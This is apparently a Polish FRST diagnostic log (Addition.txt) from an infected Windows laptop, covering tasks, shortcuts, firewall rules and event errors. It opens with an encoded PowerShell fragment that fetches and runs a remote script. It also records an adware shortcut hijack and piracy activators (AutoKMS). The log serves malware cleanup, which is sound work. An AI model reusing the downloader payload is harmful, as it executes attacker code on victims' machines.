ACAASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAkAGIAdAAsADIALAAoACQAYgB0AC4ATABlAG4AZwB0AGgALQAkAGUAeAB0ACkAKQApACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsAfQAKACQAcwBjAD0AZABzAHQAcgAoAHcAYwAoACQAcwB1AHIAbAApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAtAGMAbwBtAG0AYQBuAGQAIAAiACQAcwBjACIAOwB9AGMAYQB0AGMAaAB7AH0AOwBlAHgAaQB0ACAAMAA7AA== Task: {3908412F-9385-487E-8248-501A6FD6064D} - System32\Tasks\McAfee\McAfee Idle Detection Task Task: {4510C840-8619-40D2-916B-D98FA2FE0059} - System32\Tasks\Microsoft\Office\OfficeTelemetryAgentLogOn => C:\Program Files\Microsoft Office\Office15\msoia.exe [2012-10-01] (Microsoft Corporation) Task: {689976D4-AEC1-45AC-835E-07855F072886} - System32\Tasks\McAfee\McAfee Auto Maintenance Task Agent Task: {7753F909-4049-417B-8531-1F93CD940F8D} - System32\Tasks\AutoKMS => C:\WINDOWS\AutoKMS\AutoKMS.exe [2015-12-13] () Task: {7D9AF77C-DBAF-4305-A8D4-2FFA3831BE01} - System32\Tasks\{8AE05583-341B-4888-B5B9-F4AA81E2D3D6} => pcalua.exe -a C:\Users\Robert\AppData\Roaming\WarThunder\Uninstaller.exe -c /Run /ePN:0W1T1C0T1M2Y1G1Q1P1C Task: {8351A346-A343-45F7-8808-1870674DBAE4} - System32\Tasks\Intel Security DAT Reputation (AMCore) Post DAT update endpoint safety pulse => C:\Program Files\Common Files\McAfee\AMContent\scanners\x86_64\datrep\21.0\mcdatrep.exe [2015-08-04] (McAfee, Inc.) Task: {841F60B4-70A8-47F0-A704-266E9C113E31} - System32\Tasks\Adobe Flash Player Updater => C:\WINDOWS\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [2015-12-29] (Adobe Systems Incorporated) Task: {89876782-375E-4B91-B63F-6EB1C6AC8CAD} - System32\Tasks\Microsoft\Windows\RemovalTools\MRT_HB => C:\WINDOWS\system32\MRT.exe [2015-12-08] (Microsoft Corporation) Task: {909E7E89-DCDD-4CC9-9A5B-5FCE0DA4C137} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2015-12-15] (Google Inc.) Task: {B1E89140-DC8A-4B91-B49B-81FDFA06D5E2} - System32\Tasks\Microsoft\Office\OfficeTelemetryAgentFallBack => C:\Program Files\Microsoft Office\Office15\msoia.exe [2012-10-01] (Microsoft Corporation) Task: {B9AE8843-0D8B-41F2-A19A-141E1785B513} - System32\Tasks\Microsoft\Office\Office 15 Subscription Heartbeat => C:\Program Files\Common Files\Microsoft Shared\Office15\OLicenseHeartbeat.exe [2012-10-01] (Microsoft Corporation) Task: {BFE8D815-035F-419B-8351-481EAB0EA801} - System32\Tasks\CCleanerSkipUAC => C:\Program Files\CCleaner\CCleaner.exe [2015-11-16] (Piriform Ltd) Task: {C6D75241-EBC8-4866-8885-6076D9ED5B3F} - System32\Tasks\Intel Security DAT Reputation (AMCore) periodic endpoint safety pulse => C:\Program Files\Common Files\McAfee\AMContent\scanners\x86_64\datrep\21.0\mcdatrep.exe [2015-08-04] (McAfee, Inc.) Task: {E184A0DF-6C5E-4233-B100-7E7EF002D832} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2015-12-15] (Google Inc.) (Załączenie wejścia w fixlist spowoduje przesunięcie pliku zadania (.job). Plik uruchamiany docelowo przez zadanie nie zostanie przeniesiony.) Task: C:\WINDOWS\Tasks\Adobe Flash Player Updater.job => C:\WINDOWS\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe ==================== Skróty ============================= (Wybrane wejścia mogą zostać załączone w celu ich zresetowania lub usunięcia.) ShortcutWithArgument: C:\Users\Robert\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\WarThunder.lnk -> C:\Program Files (x86)\Mozilla Firefox\firefox.exe (Mozilla Corporation) -> hxxp://mmotraffic.com/catalog/goplay/1000932/MTE3NjYvLy8xMDAwOTMy?click_id=0FtDyByCtC0C0A0FyB0E0DtAyBtB0F0E2RtBtDtCyCtDtCtDzytCtAtCtCtBzzzytAtC ==================== Załadowane moduły (filtrowane) ============== 2015-06-08 09:05 - 2014-10-22 09:15 - 00644080 _____ () C:\Program Files (x86)\Lenovo\CCSDK\CCSDK.exe 2015-10-30 08:18 - 2015-10-30 08:18 - 00185856 _____ () C:\WINDOWS\SYSTEM32\ism32k.dll 2015-12-08 21:27 - 2015-11-22 11:47 - 02653816 _____ () C:\WINDOWS\system32\CoreUIComponents.dll 2015-12-08 21:27 - 2015-11-22 11:47 - 02653816 _____ () C:\WINDOWS\System32\CoreUIComponents.dll 2015-07-18 00:35 - 2015-07-18 00:35 - 00396688 _____ () C:\WINDOWS\system32\igfxTray.exe 2015-12-18 13:06 - 2015-12-07 05:14 - 00093696 _____ () C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\Windows.UI.Shell.SharedUtilities.dll 2015-12-18 13:06 - 2015-12-07 05:00 - 00472064 _____ () C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\QuickActions.dll 2015-06-08 09:05 - 2014-10-22 09:15 - 00410096 _____ () C:\Program Files (x86)\Lenovo\CCSDK\WinGather.exe 2015-06-08 08:34 - 2015-02-09 04:18 - 00124440 _____ () C:\Program Files\Realtek\Audio\HDA\FMAPP.exe 2015-12-18 13:07 - 2015-12-07 04:37 - 07992832 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\CortanaApi.dll 2015-12-18 13:07 - 2015-12-07 04:33 - 00591360 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.Core.dll 2015-12-18 13:07 - 2015-12-07 04:34 - 02483200 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.BackgroundTask.dll 2015-12-18 13:07 - 2015-12-07 04:36 - 04089856 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\RemindersUI.dll 2014-10-10 08:37 - 2014-10-10 08:37 - 01243936 _____ () C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\ACE.dll ==================== Alternate Data Streams (filtrowane) ========= (Załączenie wejścia w fixlist spowoduje usunięcie strumienia ADS.) ==================== Tryb awaryjny (filtrowane) =================== (Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Wartość "AlternateShell" zostanie przywrócona.) HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\MCODS => ""="" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\mcpltsvc => ""="" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\McMPFSvc => ""="Service" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\McNaiAnn => ""="" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MCODS => ""="" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mcpltsvc => ""="" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfeaack => ""="Service" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfeaack.sys => ""="Driver" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfeavfk => ""="Service" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfeavfk.sys => ""="Driver" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfefire => ""="Service" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfefirek => ""="Service" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfefirek.sys => ""="Driver" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfehidk => ""="Service" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfehidk.sys => ""="Driver" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfemms => ""="Service" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfetdi2k => ""="Service" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfetdi2k.sys => ""="Driver" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfevtp => ""="Service" ==================== EXE - Powiązania (filtrowane) =============== (Załączenie wejścia w fixlist spowoduje usunięcie obiektu z rejestru lub przywrócenie jego domyślnej postaci.) ==================== Internet Explorer - Witryny zaufane i z ograniczeniami =============== (Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru.) ==================== Hosts - zawartość: =============================== (Użycie dyrektywy Hosts: w fixlist spowoduje reset pliku Hosts.) 2013-08-22 14:25 - 2013-08-22 14:25 - 00000824 ____A C:\WINDOWS\system32\Drivers\etc\hosts ==================== Inne obszary ============================ (Obecnie brak automatycznej naprawy dla tej sekcji.) HKU\S-1-5-21-884423482-3915767466-712464105-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\Robert\AppData\Roaming\Microsoft\Windows Photo Viewer\Tapeta z Przeglądarki fotografii systemu Windows.jpg DNS Servers: 192.168.200.250 - 192.168.0.250 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1) Zapora systemu Windows [funkcja włączona] ==================== MSCONFIG/TASK MANAGER - Wyłączone elementy == (Obecnie brak automatycznej naprawy dla tej sekcji.) HKLM\...\StartupApproved\Run32: => "AdobeCS6ServiceManager" HKU\S-1-5-21-884423482-3915767466-712464105-1001\...\StartupApproved\Run: => "ALLUpdate" HKU\S-1-5-21-884423482-3915767466-712464105-1001\...\StartupApproved\Run: => "ALLPlayer WiFi Remote" HKU\S-1-5-21-884423482-3915767466-712464105-1001\...\StartupApproved\Run: => "ChomikBox" ==================== Reguły Zapory systemu Windows (filtrowane) =============== (Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.) FirewallRules: [{4C7200B6-24EA-48EA-9013-45357C4453FD}] => (Allow) C:\Program Files\Microsoft Office\Office15\lync.exe FirewallRules: [{92CE8036-3375-4B08-83A7-29BAE1CCC43D}] => (Allow) C:\Program Files\Microsoft Office\Office15\lync.exe FirewallRules: [{93D0AABE-DF1A-418F-85F2-4BABBD481E8D}] => (Allow) C:\Program Files\Microsoft Office\Office15\UcMapi.exe FirewallRules: [{929F889D-CFCD-47F3-93F1-539F36FF04CB}] => (Allow) C:\Program Files\Microsoft Office\Office15\UcMapi.exe FirewallRules: [{DA911A9E-C871-433E-8652-75FE998BAF86}] => (Allow) C:\Users\Robert\Downloads\Microsoft Office Professional Plus 2013\Microsoft Toolkit.exe FirewallRules: [{F3831715-144A-4B0E-9BFA-18411113972B}] => (Allow) C:\Users\Robert\Downloads\Microsoft Office Professional Plus 2013\Microsoft Toolkit.exe FirewallRules: [{F3656640-E363-42C6-BF8C-445C2276242D}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe FirewallRules: [{EA2DDF3B-6E19-4958-9A63-D7FA39781B84}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe FirewallRules: [{5E97FD98-804B-4C08-8062-B76A83BEF373}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe FirewallRules: [{1FA8548F-1A93-4A5A-BCDB-54DA922E94DA}] => (Allow) C:\Program Files\Microsoft Office\Office15\lync.exe FirewallRules: [{F2C1E452-D4B3-465C-A5A0-3181D3A35A04}] => (Allow) C:\Program Files\Microsoft Office\Office15\lync.exe FirewallRules: [{156F760A-E01D-465A-AF22-44E5639AD6A7}] => (Allow) C:\Program Files\Microsoft Office\Office15\UcMapi.exe FirewallRules: [{9E786B40-A86C-45CF-8D94-62B1149E0556}] => (Allow) C:\Program Files\Microsoft Office\Office15\UcMapi.exe ==================== Punkty Przywracania systemu ========================= 27-12-2015 13:04:03 Zaplanowany punkt kontrolny 30-12-2015 21:58:45 Windows Update 08-01-2016 13:52:51 Windows Update ==================== Wadliwe urządzenia w Menedżerze urządzeń ============= ==================== Błędy w Dzienniku zdarzeń: ========================= Dziennik Aplikacja: ================== Error: (01/08/2016 02:01:28 PM) (Source: lupdate) (EventID: 0) (User: ) Description: lupdateloopTime is failed w/err 0x0000328c Error: (01/08/2016 02:01:27 PM) (Source: lupdate) (EventID: 0) (User: ) Description: lupdateloopNum1++, loopNum1 is failed w/err 0x00000001 Error: (01/08/2016 01:53:25 PM) (Source: Microsoft-Windows-CAPI2) (EventID: 513) (User: ) Description: Przetwarzanie wywołania OnIdentity() w obiekcie System Writer przez Usługi kryptograficzne nie powiodło się. Details: AddLegacyDriverFiles: Unable to back up image of binary Protokół LLDP (Link-Layer Discovery Protocol) firmy Microsoft. System Error: Odmowa dostępu. . Error: (01/08/2016 01:45:07 PM) (Source: lupdate) (EventID: 0) (User: ) Description: lupdateloopTime is failed w/err 0x000003ca Error: (01/08/2016 01:23:52 PM) (Source: lupdate) (EventID: 0) (User: ) Description: lupdateloopTime is failed w/err 0x000003ee Error: (01/08/2016 01:12:01 PM) (Source: lupdate) (EventID: 0) (User: ) Description: lupdateloopTime is failed w/err 0x0000043d Error: (01/08/2016 10:09:39 AM) (Source: lupdate) (EventID: 0) (User: ) Description: lupdateloopTime is failed w/err 0x0000307a Error: (01/08/2016 10:09:39 AM) (Source: lupdate) (EventID: 0) (User: ) Description: lupdateloopNum1++, loopNum1 is failed w/err 0x00000002 Error: (01/08/2016 09:42:18 AM) (Source: Application Error) (EventID: 1000) (User: ) Description: Nazwa aplikacji powodującej błąd: ProtectWindowsManager.exe, wersja: 20.0.0.2508, sygnatura czasowa: 0x56615852 Nazwa modułu powodującego błąd: ProtectWindowsManager.exe, wersja: 20.0.0.2508, sygnatura czasowa: 0x56615852 Kod wyjątku: 0xc0000409 Przesunięcie błędu: 0x00020853 Identyfikator procesu powodującego błąd: 0x714 Godzina uruchomienia aplikacji powodującej błąd: 0xProtectWindowsManager.exe0 Ścieżka aplikacji powodującej błąd: ProtectWindowsManager.exe1 Ścieżka modułu powodującego błąd: ProtectWindowsManager.exe2 Identyfikator raportu: ProtectWindowsManager.exe3 Pełna nazwa pakietu powodującego błąd: ProtectWindowsManager.exe4 Identyfikator aplikacji względem pakietu powodującego błąd: ProtectWindowsManager.exe5 Error: (01/07/2016 07:33:18 PM) (Source: Application Error) (EventID: 1000) (User: ) Description: Nazwa aplikacji powodującej błąd: AutoKMS.exe, wersja: 2.5.0.0, sygnatura czasowa: 0x52aef33f Nazwa modułu powodującego błąd: KERNELBASE.dll, wersja: 10.0.10586.0, sygnatura czasowa: 0x5632d1de Kod wyjątku: 0xe0434352 Przesunięcie błędu: 0x0000000000071f08 Identyfikator procesu powodującego błąd: 0xe20 Godzina uruchomienia aplikacji powodującej błąd: 0xAutoKMS.exe0 Ścieżka aplikacji powodującej błąd: AutoKMS.exe1 Ścieżka modułu powodującego błąd: AutoKMS.exe2 Identyfikator raportu: AutoKMS.exe3 Pełna nazwa pakietu powodującego błąd: AutoKMS.exe4 Identyfikator aplikacji względem pakietu powodującego błąd: AutoKMS.exe5 Dziennik System: ============= Error: (01/09/2016 01:14:25 PM) (Source: DCOM) (EventID: 10016) (User: ZARZĄDZANIE NT) Description: właściwe dla aplikacjiLokalnyAktywacja{D63B10C5-BB46-4990-A94F-E40B9D520160}{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}ZARZĄDZANIE NTSYSTEMS-1-5-18LocalHost (użycie LRPC)NiedostępnyNiedostępny Error: (01/09/2016 12:01:06 PM) (Source: Microsoft-Windows-NDIS) (EventID: 10317) (User: ZARZĄDZANIE NT) Description: Miniport: TAP-Win32 Adapter OAS #8, {516DC49B-5586-4242-8292-EA07B690A763}, zdarzenie: 76 Error: (01/08/2016 09:46:08 PM) (Source: Service Control Manager) (EventID: 7031) (User: ) Description: Usługa Dostęp do danych użytkownika_7fe501 niespodziewanie zakończyła pracę. Wystąpiło to razy: 1. W przeciągu 10000 milisekund zostanie podjęta następująca czynność korekcyjna: Uruchom usługę ponownie. Error: (01/08/2016 09:46:08 PM) (Source: Service Control Manager) (EventID: 7031) (User: ) Description: Usługa Magazyn danych użytkownika_7fe501 niespodziewanie zakończyła pracę. Wystąpiło to razy: 1. W przeciągu 10000 milisekund zostanie podjęta następująca czynność korekcyjna: Uruchom usługę ponownie. Error: (01/08/2016 09:46:08 PM) (Source: Service Control Manager) (EventID: 7031) (User: ) Description: Usługa Dane kontaktowe_7fe501 niespodziewanie zakończyła pracę. Wystąpiło to razy: 1. W przeciągu 10000 milisekund zostanie podjęta następująca czynność korekcyjna: Uruchom usługę ponownie. Error: (01/08/2016 09:46:08 PM) (Source: Service Control Manager) (EventID: 7031) (User: ) Description: Usługa Synchronizuj hosta_7fe501 niespodziewanie zakończyła pracę. Wystąpiło to razy: 1. W przeciągu 10000 milisekund zostanie podjęta następująca czynność korekcyjna: Uruchom usługę ponownie. Error: (01/08/2016 09:46:08 PM) (Source: DCOM) (EventID: 10016) (User: ZARZĄDZANIE NT) Description: właściwe dla aplikacjiLokalnyAktywacja{D63B10C5-BB46-4990-A94F-E40B9D520160}{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}ZARZĄDZANIE NTSYSTEMS-1-5-18LocalHost (użycie LRPC)NiedostępnyNiedostępny Error: (01/08/2016 09:09:38 PM) (Source: Microsoft-Windows-NDIS) (EventID: 10317) (User: ZARZĄDZANIE NT) Description: Miniport: TAP-Win32 Adapter OAS #8, {221899E9-4A7A-4FDC-90DD-318E78113BB9}, zdarzenie: 76 Error: (01/08/2016 02:16:02 PM) (Source: DCOM) (EventID: 10016) (User: ZARZĄDZANIE NT) Description: właściwe dla aplikacjiLokalnyAktywacja{D63B10C5-BB46-4990-A94F-E40B9D520160}{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}ZARZĄDZANIE NTSYSTEMS-1-5-18LocalHost (użycie LRPC)NiedostępnyNiedostępny Error: (01/08/2016 01:43:55 PM) (Source: Microsoft-Windows-NDIS) (EventID: 10317) (User: ZARZĄDZANIE NT) Description: Miniport: TAP-Win32 Adapter OAS #8, {99ADD3F8-6CFD-4695-9E6D-603F526B06AC}, zdarzenie: 76 CodeIntegrity: =================================== Date: 2016-01-08 14:03:03.751 Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume5\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system. Date: 2016-01-03 19:37:40.259 Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume5\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system. Date: 2015-12-31 15:58:54.401 Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume5\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system. Date: 2015-12-31 01:23:21.302 Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume5\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system. Date: 2015-12-15 21:33:08.527 Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume5\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system. Date: 2015-12-14 18:39:41.324 Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume5\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system. Date: 2015-12-14 13:46:00.943 Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume5\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system. Date: 2015-12-13 09:58:15.356 Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume5\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system. Date: 2015-12-13 09:44:27.703 Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume5\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system. Date: 2015-12-13 09:35:46.055 Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume5\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system. ==================== Statystyki pamięci =========================== Procesor: Intel(R) Core(TM) i5-5200U CPU @ 2.20GHz Procent pamięci w użyciu: 39% Całkowita pamięć fizyczna: 8105.84 MB Dostępna pamięć fizyczna: 4902.96 MB Całkowita pamięć wirtualna: 9385.84 MB Dostępna pamięć wirtualna: 6756.61 MB ==================== Dyski ================================ Drive c: (Windows8_OS) (Fixed) (Total:891.67 GB) (Free:161.72 GB) NTFS ==>[system z komponentami startowymi (pozyskano odczytując dysk)] Drive d: (LENOVO) (Fixed) (Total:25 GB) (Free:22.38 GB) NTFS Drive v: (Disc) (CDROM) (Total:2.03 GB) (Free:0 GB) CDFS ==================== MBR & Tablica partycji ================== ======================================================== Disk: 0 (Size: 931.5 GB) (Disk ID: F7E6B931) Partition: GPT. ==================== Koniec Addition.txt ============================